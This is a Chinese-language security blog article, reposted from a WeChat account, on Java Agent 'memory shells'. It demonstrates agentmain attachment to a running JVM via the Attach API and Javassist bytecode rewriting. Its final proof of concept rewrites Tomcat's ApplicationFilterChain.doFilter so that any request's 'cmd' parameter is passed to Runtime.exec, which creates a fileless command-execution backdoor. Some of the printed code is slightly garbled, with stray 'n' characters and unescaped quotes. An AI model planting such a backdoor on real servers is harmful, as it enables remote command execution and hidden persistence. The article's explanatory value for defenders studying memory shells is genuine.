Java安全-深度剖析内存马&下篇

admin 2024年10月19日21:28:58评论13 views字数 9352阅读31分10秒阅读模式

🌟 ❤️

作者:yueji0j1anke

首发于公号:剑客古月的安全屋

字数:5721

阅读时间:    15min

声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。合法渗透,本文章内容纯属虚构,如遇巧合,纯属意外

目录

  • 前言

  • 前置知识

        Agent

        Demo

  • 内存马     

       Demo进阶

       Poc实战

  • 总结

0x01 前言介绍

本文续接上篇,继续深入解读java内存马。

本篇的重点是Agent型内存马

0x02 前置知识

1.Java Agent

Java语言在运行前会被编译成class文件,在安卓中就是dex文件,随后交给JVM去将Java字节码翻译成机器码,在具体的硬件中去运行。

Java Agent允许开发者在运行时动态修改Java字节码,从而完成动态加载、修改、操控、拦截类

2.Example Demo

对于Agent亦有分类,premain 方法(如果在应用启动时执行)与agentmain 方法(如果在运行时附加)

这里展示一个简单的Demo

package com.demo.example.Agent;
import java.lang.instrument.Instrumentation;

public class DemoAgent {
   public static void premain(String agentArgs, Instrumentation inst) {
       System.out.println("This is a Java Agent: premain is called!");
       // 可以通过 inst 对象对类加载进行修改
  }

   public static void agentmain(String agentArgs, Instrumentation inst) {
       System.out.println("This is a Java Agent: agentmain is called!");
       // 可以在运行时附加到 JVM,并对类字节码进行修改
  }
}

修改resource/META-INF/的MANIFEST.MF(如果没有就创建),需要包含两类属性

Manifest-Version: 1.0
Premain-Class: com.demo.example.Agent.DemoAgent
Agent-Class: com.demo.example.Agent.DemoAgent

Java安全-深度剖析内存马&下篇

然后打包执行jar文件,并添加JVM选项

Java安全-深度剖析内存马&下篇

-javaagent:"D:/example/out/artifacts/example_jar/example.jar"

Java安全-深度剖析内存马&下篇

运行程序

Java安全-深度剖析内存马&下篇

在运行前调用了premain方法

下面演示如何调用agentmain-agent,其能在jvm启动之后加载并实现修改字节码

需要实现一个类来模拟正在运行的jvm

Java安全-深度剖析内存马&下篇

package com.demo.example.Agent;

import static java.lang.Thread.sleep;

public class HelloAgent {
   public static void main(String[] args) throws InterruptedException {
       while (true){
           System.out.println("fucking jvm");
           sleep(5000);
      }
  }
}

随后获取我们对应HelloAgent的pid并注入agent完成修改字节码

package com.demo.example.Agent;


import java.io.IOException;
import java.util.List;
import com.sun.tools.attach.*;

public class InjectAgent {
   public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
       //调用VirtualMachine.list()获取正在运行的JVM列表
       List<VirtualMachineDescriptor> list = VirtualMachine.list();
       for(VirtualMachineDescriptor vmd : list){

           //遍历每一个正在运行的JVM,如果JVM名称为BeinjectAgent则连接该JVM并加载特定Agent
           System.out.println(vmd.displayName());
           if(vmd.displayName().contains("HelloAgent")){

               System.out.println("发现目标!!!");
               //连接指定JVM
               VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
               //加载Agent
               virtualMachine.loadAgent("D:/example/out/artifacts/example_jar/example.jar");
               //断开JVM连接
               virtualMachine.detach();
          }

      }
  }
}

随后运行此类模拟运行jvm

Java安全-深度剖析内存马&下篇

然后运行InjectDemo去修改进程码

Java安全-深度剖析内存马&下篇

成功调用执行(有点像栈溢出,但原理完全不同)

0x03 Agent 内存马

在正式的应用中,我们会通过JVMTIAgent的Instrumentation功能区域目标JVM交互,以达到动态修改已有字节码完成命令注入

而具体实现,则是通过Instrumentation接口中的addTransformer()方法将转换后的字节码注入到目标JVM中

1.进阶Demo

具体就相当于劫持一样,之前我们给出的demo只是在运行前后调用agent对应方法,这里给出个进阶版demo,修改对应JVM里的字节码

首先创建一个被修改的运行对象

package com.demo.example.Agent;
import static java.lang.Thread.sleep;

public class BeinjectedAgent {
   public static void main(String[] args) throws InterruptedException {
       while (true){
           hello();
           sleep(4000);
      }
  }

   public static void hello(){
       System.out.println("Dont inject me!");
  }
}

其次获取运行JVM中的对象,并进行注入

package com.demo.example.Agent;


import java.io.IOException;
import java.util.List;
import com.sun.tools.attach.*;

public class InjectAgent {
   public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
       //调用VirtualMachine.list()获取正在运行的JVM列表
       List<VirtualMachineDescriptor> list = VirtualMachine.list();
       for(VirtualMachineDescriptor vmd : list){

           //遍历每一个正在运行的JVM,如果JVM名称为BeinjectAgent则连接该JVM并加载特定Agent
           System.out.println(vmd.displayName());
           if(vmd.displayName().contains("BeinjectedAgent")){

               System.out.println("发现目标!!!");
               //连接指定JVM
               VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
               //加载Agent
               virtualMachine.loadAgent("D:/example/out/artifacts/example_jar/example.jar");
               //断开JVM连接
               virtualMachine.detach();
          }

      }
  }
}

对应agent方法

package com.demo.example.Agent;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class DemoAgent {


   public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
       try {
           Class[] classes = inst.getAllLoadedClasses();

           // 获取目标JVM加载的全部类
           for (Class cls : classes) {
               if (cls.getName().contains("BeinjectedAgent")) {

                   // 添加一个 transformer 到 Instrumentation,并重新触发目标类加载
                   inst.addTransformer(new TrainAgent(), true);
                   inst.retransformClasses(cls);
              }
          }
      } catch (UnmodifiableClassException e) {
           System.err.println("Error: The class cannot be modified - " + e.getMessage());
           e.printStackTrace();
      } catch (Exception e) {
           System.err.println("An unexpected error occurred: " + e.getMessage());
           e.printStackTrace();
      }
  }

}

对应对其进行修改

package com.demo.example.Agent;


import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class TrainAgent implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {

//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("com.demo.example.Agent.BeinjectedAgent");
System.out.println(ctClass);

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");

//设置方法体
String body = "{System.out.println("You are fucked!");}";
ctMethod.setBody(body);

//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

对应的MANIFEST.MF文件如下

Manifest-Version: 1.0
Agent-Class: com.demo.example.Agent.DemoAgent
Premain-Class: com.demo.example.Agent.DemoAgent
Can-Retransform-Classes: true

运行被修改方法

Java安全-深度剖析内存马&下篇

随后运行修改字节码方法

Java安全-深度剖析内存马&下篇

对应输出语句被彻底修改

2.Instrumentation

我对于Instrumentation的功能理解类似于Frida的hook,可以动态插桩到虚拟机(内存)进行相关方法的修改,但此类方法存在以下限制:

1. 无法修改类的结构
限制:Instrumentation 允许修改类的方法体或字段的值,但不能更改类的结构。具体来说:
不能添加或删除类的字段或方法。
不能修改类的继承结构,即不能改变类的父类或它实现的接口。
不能添加或删除接口。
原因:JVM 类加载机制对类的结构(例如字段和方法签名、继承关系)有严格要求,一旦类加载完毕,其结构被锁定。因此,Instrumentation 只能修改已加载类的行为,而不能改变其形状。
2. 动态加载的类无法预先修改
限制:Instrumentation 提供的方法 addTransformer 和 retransformClasses 只能作用于已经加载的类。如果类在 JVM 启动时尚未加载,就无法预先修改这些类的字节码。
解决办法:可以通过 ClassFileTransformer 拦截类的首次加载,在加载前修改字节码。但这仍然依赖于类首次被加载时的时机,无法提前对所有类进行修改。
3. 无法修改核心 JVM 类
限制:Instrumentation 不允许修改某些核心类(如 java.lang.String、java.lang.Object 等)。这些类是 JVM 启动时加载的,修改它们会带来潜在的安全和稳定性风险。
原因:为了保证 JVM 的稳定性,JVM 对某些核心类进行了保护,避免对它们进行重转换或重新定义。
4. 无法持久化字节码修改
限制:通过 Instrumentation 对类的修改只在当前 JVM 运行时有效,类的修改不会持久化到磁盘。如果 JVM 重启,所有的类都会恢复为原始状态。
原因:Instrumentation 只在 JVM 运行时修改类的字节码,而不会直接修改 .class 文件或 JAR 文件。因此,每次 JVM 重新启动,类都会重新加载未修改的版本。
5. 需要特定权限
限制:Java Agent 需要一些额外的权限,尤其是在某些受限环境中(如 Applet 或 Web 应用)可能无法使用 Instrumentation。
原因:Instrumentation 操作涉及对类的字节码进行修改,这被视为潜在的安全风险。因此在某些环境中,Instrumentation 可能无法正常工作,除非获得特殊权限。

3.POC实战

这里做一个Spring的Agent内存马

我们可以在上述的讲解中知晓,执行poc的核心逻辑在transform函数中,由他负责修改字节码

Java安全-深度剖析内存马&下篇

那我们就利用Agent功能动态修改字节码增加一个filter(请求通过Spring容器必会触发filter责任链)去实现命令执行

首先修改agentmain函数

public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
       try {
           Class[] classes = inst.getAllLoadedClasses();

           // 获取目标JVM加载的全部类
           for (Class cls : classes) {
               if (cls.getName().contains("org.apache.catalina.core.ApplicationFilterChain")) {
                   System.out.println("成功触发demoagent");
                   // 添加一个 transformer 到 Instrumentation,并重新触发目标类加载
                   inst.addTransformer(new TrainAgent(), true);
                   inst.retransformClasses(cls);
              }
          }
      } catch (UnmodifiableClassException e) {
           System.err.println("Error: The class cannot be modified - " + e.getMessage());
           e.printStackTrace();
      } catch (Exception e) {
           System.err.println("An unexpected error occurred: " + e.getMessage());
           e.printStackTrace();
      }
  }

随后修改字节码操作如下

package com.demo.example.Agent;


import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class TrainAgent implements ClassFileTransformer {
   @Override
   public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {

       System.out.println("正在触发中...");
       try {

           //获取CtClass 对象的容器 ClassPool
           ClassPool classPool = ClassPool.getDefault();

           //添加额外的类搜索路径
           if (classBeingRedefined != null) {
               ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
               classPool.insertClassPath(ccp);
          }

           //获取目标类
           CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
           System.out.println(ctClass);

           //获取目标方法
           CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");

           //设置方法体
           String body = "{" +
                   "javax.servlet.http.HttpServletRequest request = $1n;" +
                   "String cmd=request.getParameter("cmd");n" +
                   "if (cmd !=null){n" +
                   " Runtime.getRuntime().exec(cmd);n" +
                   " }"+
                   "}";
           ctMethod.setBody(body);

           //返回目标类字节码
           byte[] bytes = ctClass.toBytecode();
           return bytes;

      }catch (Exception e){
           e.printStackTrace();
      }
       return null;
  }
}

现在运行springboot主程序,发送请求后运行注射修改类

Java安全-深度剖析内存马&下篇

Java安全-深度剖析内存马&下篇

0x04 总结

Servlet-api型内存马与Agent内存马篇至此已全部完成,从context、pipeline到Agent机制,Java里面所蕴含的架构确实足够我们安全人员去细细挖掘深思。

原文始发于微信公众号(剑客古月的安全屋):Java安全-深度剖析内存马&下篇

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月19日21:28:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java安全-深度剖析内存马&下篇https://cn-sec.com/archives/3290566.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息